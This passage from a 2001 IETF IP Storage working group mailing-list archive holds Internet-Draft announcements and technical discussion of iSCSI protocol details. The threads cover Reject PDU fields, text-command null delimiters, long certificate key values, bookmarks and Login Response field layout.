26 Jun 2001 07:01:05 -0400 X-OriginalArrivalTime: 17 Sep 2001 23:13:46.0494 (UTC) FILETIME=[66E151E0:01C13FCE] Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Definitions of Managed Objects for iSCSI Author(s) : M. Bakke et al. Filename : draft-ietf-ips-iscsi-mib-01.txt Pages : 49 Date : 25-Jun-01 This memo defines a portion of the Management Information Base (MIB) for use with network management protocols in TCP/IP based internets A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-mib-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-iscsi-mib-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-iscsi-mib-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010625095401.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-iscsi-mib-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-iscsi-mib-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Cont --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Mon Sep 17 21:20:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA26475 for ; Mon, 17 Sep 2001 21:20:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HNTJ004653 for ips-outgoing; Mon, 17 Sep 2001 19:29:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HNTIP04649 for ; Mon, 17 Sep 2001 19:29:18 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel2.hp.com (Postfix) with ESMTP id 0114211A8 for ; Mon, 17 Sep 2001 19:29:09 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id QAA14744 for ; Mon, 17 Sep 2001 16:30:30 -0700 (PDT) Message-Id: <200109172330.QAA14744@core.rose.hp.com> Date: Mon, 17 Sep 2001 16:40:27 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iscsi rev 7.93 : reject pdu. References: <3BA64FE9.103499FF@cup.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Santosh, Since that is my handiwork, :-), let me answer that. This also brings up a good opportunity to explain something that hasn't been discussed on ips. As captured by the change log, format errors are now mandated to cause session failures. The rationale is that format errors basically mean serious, reproduceable coding problems and ought to be escalated to the highest level - besides the fact that they may have messed up the framing sync. It was also felt that diagnostics on Format errors outlived their purpose beyond the early development stage of the protocol, since we do not expect to see these errors in production implementations. This change is generally part of the protocol simplification efforts, and was proposed by Mark (Bakke). Removing the "first bad byte" field in Reject is merely a side-effect of the above change, since this field explicitly was meant to reject format errors. Let me also just comment on the rationale behind leaving the protocol error handling as it is. While "protocol errors" are problems, they may not be the serious reproduceable menace that format errors are, neither do they mess up framing. Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Santosh Rao wrote: > > Julian, > > Could you please clarify why the "first bad byte" field in the reject > pdu has been removed ? I can find nothing in the change log that states > this change, nor can I remember any discussion on ips asking for this > change. > > Regards, > Santosh From owner-ips@ece.cmu.edu Mon Sep 17 21:22:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA26495 for ; Mon, 17 Sep 2001 21:22:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HNFj303971 for ips-outgoing; Mon, 17 Sep 2001 19:15:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from guinness (mx.last.plus.net [212.159.3.230]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HNEwP03930 for ; Mon, 17 Sep 2001 19:14:59 -0400 (EDT) Received: from [212.159.14.227] (helo=warrior-outbound.services.quay.plus.net) by guinness with smtp (Exim 3.16 #2) id 15j7Oa-0002KY-00 for ips@ece.cmu.edu; Tue, 18 Sep 2001 00:01:44 +0100 Received: (qmail 29299 invoked from network); 17 Sep 2001 23:13:58 -0000 Received: from unknown (HELO NEXUS.replicants.org.uk) (212.56.122.201) by warrior with SMTP; 17 Sep 2001 23:13:58 -0000 Received: from mail pickup service by NEXUS.replicants.org.uk with Microsoft SMTPSVC; Tue, 18 Sep 2001 00:13:51 +0100 X-From_: ietf-123-owner@loki.ietf.org Fri Jul 06 13:39:11 2001 Received: from [132.151.1.177] (helo=loki.ietf.org) by mail8.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 15IUt4-0001EW-00; Fri, 06 Jul 2001 13:39:10 +0100 Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id HAA24231 for ietf-123-outbound.10@ietf.org; Fri, 6 Jul 2001 07:55:01 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id GAA23663 for ; Fri, 6 Jul 2001 06:50:30 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA25843; Fri, 6 Jul 2001 06:50:15 -0400 (EDT) Message-Id: <200107061050.GAA25843@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-iscsi-reqmts-05.txt Date: Fri, 06 Jul 2001 06:50:15 -0400 X-OriginalArrivalTime: 17 Sep 2001 23:13:51.0492 (UTC) FILETIME=[69DBF440:01C13FCE] Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : iSCSI Requirements and Design Considerations Author(s) : M. Krueger et al. Filename : draft-ietf-ips-iscsi-reqmts-05.txt Pages : 24 Date : 05-Jul-01 The IP Storage Working group is chartered with developing comprehensive technology to transport block storage data over IP protocols. This effort includes a protocol to transport the Small Computer Systems Interface (SCSI) protocol over the Internet (iSCSI). The initial version of the iSCSI protocol will define a mapping of SCSI transport protocol over TCP/IP so that SCSI storage controllers (principally disk and tape arrays and libraries) can be attached to IP networks, notably Gigabit Ethernet (GbE) and 10 Gigabit Ethernet (10 GbE). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-reqmts-05.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-iscsi-reqmts-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-iscsi-reqmts-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010705113829.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-iscsi-reqmts-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-iscsi-reqmts-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Tue Sep 18 04:21:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA16571 for ; Tue, 18 Sep 2001 04:21:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8I6RaB25456 for ips-outgoing; Tue, 18 Sep 2001 02:27:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8I6RUP25449 for ; Tue, 18 Sep 2001 02:27:32 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id IAA218466 for ; Tue, 18 Sep 2001 08:26:55 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8I6Qnm62388 for ; Tue, 18 Sep 2001 08:26:54 +0200 Importance: Normal Subject: iSCSI - long key values To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 18 Sep 2001 09:25:57 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 18/09/2001 09:26:54 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the "suffixed keys" to "build the value" use a named key coding (as in "0Nname" in a value means that you have to use later get=value to get a "binary response" containing the whole binary object) I think that option 2 (limited to a 3 digit prefix?) covers well what we need and offers some extension space and option 1 is probably good enough for certificates. Comments? Julo From owner-ips@ece.cmu.edu Tue Sep 18 04:21:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA16569 for ; Tue, 18 Sep 2001 04:21:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8I7MKR27766 for ips-outgoing; Tue, 18 Sep 2001 03:22:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8I7MIP27761 for ; Tue, 18 Sep 2001 03:22:18 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id JAA229160; Tue, 18 Sep 2001 09:22:06 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8I7M6m102978; Tue, 18 Sep 2001 09:22:06 +0200 Importance: Normal Subject: Re: ISCSI: question about text command data To: Mark Bakke Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 18 Sep 2001 10:21:12 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 18/09/2001 10:22:05 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I think that it is as easy to discard as to check and sending an error for non-conformance is costly. Julo Mark Bakke @cisco.com on 17-09-2001 15:57:24 Please respond to Mark Bakke Sent by: mbakke@cisco.com To: Julian Satran/Haifa/IBM@IBMIL cc: ips@ece.cmu.edu Subject: Re: ISCSI: question about text command data Julian- Wouldn't it be simpler to just say "exactly one". The last part of Buck's question mentioned that he didn't see why anyone would want more than one, and nobody responded saying they did. Thanks, Mark Julian Satran wrote: > > I've changed it the text to "at least one" to avoid errors hard to list. > > Julo > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > Please respond to "Buck Landry" > > Sent by: owner-ips@ece.cmu.edu > > To: > cc: > Subject: ISCSI: question about text command data > > I have a small question about what separates the "key=value" pairs in > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > draft (2.10.5), it states: > > >>> > Every key=value pair (including the last or only pair) MUST be followed > by null (0x00) delimiter. > <<< > > The question: is it legal to have *more* than one null char between > key=value pairs? (no, I don't know why anybody would particularly want > to do this.) > > Thanks, > buck -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 05:51:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA17220 for ; Tue, 18 Sep 2001 05:51:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8I8UXQ00647 for ips-outgoing; Tue, 18 Sep 2001 04:30:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8I8UVP00643 for ; Tue, 18 Sep 2001 04:30:31 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id KAA37806 for ; Tue, 18 Sep 2001 10:30:20 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8I8UJm152958 for ; Tue, 18 Sep 2001 10:30:19 +0200 Importance: Normal Subject: Re: iscsi Rev 7.93 : text cmd & bookmarks. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 18 Sep 2001 11:29:26 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 18/09/2001 11:30:19 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk You are right - I've almost completed doing it - Julo Santosh Rao @ece.cmu.edu on 17-09-2001 21:26:26 Please respond to Santosh Rao Sent by: owner-ips@ece.cmu.edu To: IPS Reflector cc: Subject: iscsi Rev 7.93 : text cmd & bookmarks. Hi Julian, Thanks for adding the target transfer tag field to the text command & text response. This allows for simpler indexing for targets without having to special case the text message lookups. Also, as you've observed and incorporated, the target transfer tag field itself serves as a bookmark and so, the bookmark field has been removed. One question remains however. Since the target transfer tag field serves as a bookmark and a TTT of 0xFFFFFFFF serves as an indication that this is a new text command (i.e. no bookmark present), of what value add is the bookmark bit ? Why not remove the bookmark bit itself and only use the TTT ? Keeping both the bookmark bit and the TTT is providing 2 ways of indicating a new text cmd. I would be in favor of removal of the bookmark bit. Regards, Santosh - santoshr.vcf From owner-ips@ece.cmu.edu Tue Sep 18 10:52:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21734 for ; Tue, 18 Sep 2001 10:52:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ICls123410 for ips-outgoing; Tue, 18 Sep 2001 08:47:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IClrP23405 for ; Tue, 18 Sep 2001 08:47:53 -0400 (EDT) Received: from cisco.com (58509@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id IAA17820; Tue, 18 Sep 2001 08:47:45 -0400 (EDT) Message-ID: <3BA7408F.21327712@cisco.com> Date: Tue, 18 Sep 2001 07:39:43 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Julian Satran CC: ips@ece.cmu.edu Subject: Re: ISCSI: question about text command data References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit OK; I'll buy that. -- Mark Julian Satran wrote: > > I think that it is as easy to discard as to check and sending an error for > non-conformance is > costly. > > Julo > > Mark Bakke @cisco.com on 17-09-2001 15:57:24 > > Please respond to Mark Bakke > > Sent by: mbakke@cisco.com > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: ISCSI: question about text command data > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 13:13:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26392 for ; Tue, 18 Sep 2001 13:13:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IFVOR04789 for ips-outgoing; Tue, 18 Sep 2001 11:31:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (mars.iol.unh.edu [132.177.121.222]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IFVMP04780 for ; Tue, 18 Sep 2001 11:31:22 -0400 (EDT) Received: from localhost (rdr@localhost) by iol.unh.edu (8.9.3/8.9.3) with ESMTP id LAA24507; Tue, 18 Sep 2001 11:31:05 -0400 (EDT) Date: Tue, 18 Sep 2001 11:31:05 -0400 From: "Robert D. Russell" To: Julian Satran cc: ips@ece.cmu.edu Subject: RE: iSCSI PDU Formats In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: Please see further comments below: > Date: Sat, 15 Sep 2001 05:05:28 +0300 > From: Julian Satran > To: Robert D. Russell > Subject: RE: iSCSI: PDU formats > > > 3. In draft 7-90 the Login and Login Response PDUs have been modified > with the introduction of the T, C, and CNxSG fields in byte 37. > However, in the Login Response PDU these fields overlay the > Status-Detail field, which is also in byte 37. Although the way > to interpret this field is uniquely determined by the context, > it is context dependent and I believe that this will lead to a lot > of needless errors in coding, and that it also makes debugging more > difficult, because the use of this byte changes during the login phase > exchanges. This means that you can't always look at it the same way. > To avoid this overlay, would you please move the new fields > (T, C, and CNxSG) to one of the currently unused bytes. Many bytes > (2, 10-11, 20-23, 38-39, 40-47) are currently unused in both of these > PDUs, so there would appear to be no urgent need to overlay the new > fields on top of an existing field in order to save space. > > +++ The fields you are referring to are to be used only for status class 0 > they just detail the detail :-) and enable status to be maintained within > the 2 bytes +++ > I would still argue that these bits are different than just "detailing the detail", because in all cases when Status-Class is not zero, Status-Detail is a numerical enumeration, not a set of independent bit fields each of which has a separate interpretation. Interpreting bits is a fundamentally different way of looking at this field than as "just a number", and makes it impossible to format a single "template" by which this PDU can always be viewed, regardless of the meaning of the fields. Such a template is extremely useful in debugging and testing tools when there will be bugs (such as not using a field or fields correctly), so that the interpretation of which overlay to use may not be obvious or correct. Not being able to define a single template will needlessly complicate these tools and make them less useful. There are other places in the standard where fields in a single PDU have different meanings -- for example, the 4-byte field starting at byte 32 in the Task Management Request PDU means either RefCmdSn or ExpDataSn, depending on the task. However, in all these other cases the format of the field is always the same, usually a number, and thus can always be displayed as such by a simple debugging tool. This is the only place in the standard that I am aware of where the different meanings require different formats and is thus the only place where a single viewing template cannot be defined. This is further exemplified by the fact that your diagram on page 87 of draft 7-92 is the only one in the standard that has a 3-line overlay for a field in a PDU. I believe this diagram on page 87 succinctly illustrates the problem people will have during debugging and coding. As pointed out by Sanjay Goyal in his e-mail of 12-Sept, it would seem to make more sense to move the (T, C, and CNxSG) fields to byte 1, which is currently unused in both Login and Login Response PDUs, but which is typically analyzed as different bit fields in many other PDUs. If byte 1 is not acceptable, there are plenty of other unused bytes in both the Login and Login Response PDUs that could be used -- I do not see any benefit to "enable status to be maintained within the 2 bytes" if doing so complicates the coding and debugging tasks. It is already the case that fields in the Login Response, such as StatSn, ExpCmdSN and MaxCmdSN, are valid only when Status-Class is 0, so if the (T, C, and CNxSG) fields were moved to byte 1 (or some other byte) they would also be valid only when Status-Class is 0, and in this case the only acceptable value for Status-Detail would also be 0. Thank you for your reconsideration, Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Tue Sep 18 13:15:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26455 for ; Tue, 18 Sep 2001 13:15:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IFIPa03870 for ips-outgoing; Tue, 18 Sep 2001 11:18:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IFINP03855 for ; Tue, 18 Sep 2001 11:18:23 -0400 (EDT) Received: from xparelay1.corp.hp.com (unknown [15.58.136.173]) by palrel12.hp.com (Postfix) with ESMTP id 7F2D41F894; Tue, 18 Sep 2001 08:18:14 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay1.corp.hp.com (Postfix) with ESMTP id BCC251F569; Tue, 18 Sep 2001 08:18:13 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Sep 2001 08:18:13 -0700 Message-ID: <499DC368E25AD411B3F100902740AD650777903D@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'Steve Senum'" , ietf-ips Subject: RE: ISCSI: question about text command data Date: Tue, 18 Sep 2001 08:11:00 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I disagree. There is no reason why the spec shouldn't be very specific about what behavior to take. In the interest of simplicity, the spec should state 'exactly one null character' as Mark and Buck request. If people follow the spec, there won't be a need to invoke costly error response. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Monday, September 17, 2001 8:27 AM To: ietf-ips Subject: Re: ISCSI: question about text command data Mark, I agree with Julian on this issue. Steve Senum Mark Bakke wrote: > > Julian- > > Wouldn't it be simpler to just say "exactly one". The last > part of Buck's question mentioned that he didn't see why > anyone would want more than one, and nobody responded saying > they did. > > Thanks, > > Mark > > Julian Satran wrote: > > > > I've changed it the text to "at least one" to avoid errors hard to list. > > > > Julo > > > > "Buck Landry" @ece.cmu.edu on 13-09-2001 01:25:36 > > > > Please respond to "Buck Landry" > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: > > cc: > > Subject: ISCSI: question about text command data > > > > I have a small question about what separates the "key=value" pairs in > > the data segment of an iscsi text command. On pg. 78 of the iscsi v7-90 > > draft (2.10.5), it states: > > > > >>> > > Every key=value pair (including the last or only pair) MUST be followed > > by null (0x00) delimiter. > > <<< > > > > The question: is it legal to have *more* than one null char between > > key=value pairs? (no, I don't know why anybody would particularly want > > to do this.) > > > > Thanks, > > buck > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 18 13:16:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA26497 for ; Tue, 18 Sep 2001 13:16:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8IEwwH02486 for ips-outgoing; Tue, 18 Sep 2001 10:58:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from calliope1.fm.intel.com (fmfdns01.fm.intel.com [132.233.247.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8IEwtP02481 for ; Tue, 18 Sep 2001 10:58:55 -0400 (EDT) Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.42 2001/09/04 16:24:19 root Exp $) with SMTP id OAA01580 for ; Tue, 18 Sep 2001 14:58:54 GMT Received: from fmsmsx26.fm.intel.com ([132.233.42.26]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001091807583219961 ; Tue, 18 Sep 2001 07:58:32 -0700 Received: by fmsmsx26.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Tue, 18 Sep 2001 07:59:48 -0700 Message-ID: <638EC1B28663D211AC3E00A0C96B78A8086ABBB3@orsmsx40.jf.intel.com> From: "Wheat, Stephen R" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - long key values Date: Tue, 18 Sep 2001 07:57:36 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Almost a month ago, we had a thread on values spanning PDU boundaries. See: "Re: Target record not to span PDUs?" Anyway, that thread discussion ended without conclusion. I believe Robert Snively's and my proposal to allow records to span PDUs is still valid; I'll let Robert speak for himself. Furthermore, I believe that the proposal would thus avoid this problem you are now addressing, with far less complexity. Please reconsider this proposal. Stephen -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, September 17, 2001 11:26 PM To: ips@ece.cmu.edu Subject: iSCSI - long key values Dear colleagues, Ofer brought recently to my attention that some security key values are likely to exceed our stated limit of 255 bytes for a value. A good example may be a certificate (or chained certificate). We have to enable those to be in the Login phase. To handle this we might want to consider the following options (but not only those): enable a "long hexadecimal coding" that should indicate a "long" value (e.g. use 0L instead of 0x) and raise the limit for those keys to something longer (say 3072 bytes?) enable "concatenated" values and indicate them through a "coding scheme" as follows: the value "0sxx" indicates a name suffix (as in "key = 0s08" means that the keys "key00" , "key01" etc) have to be concatenated use the 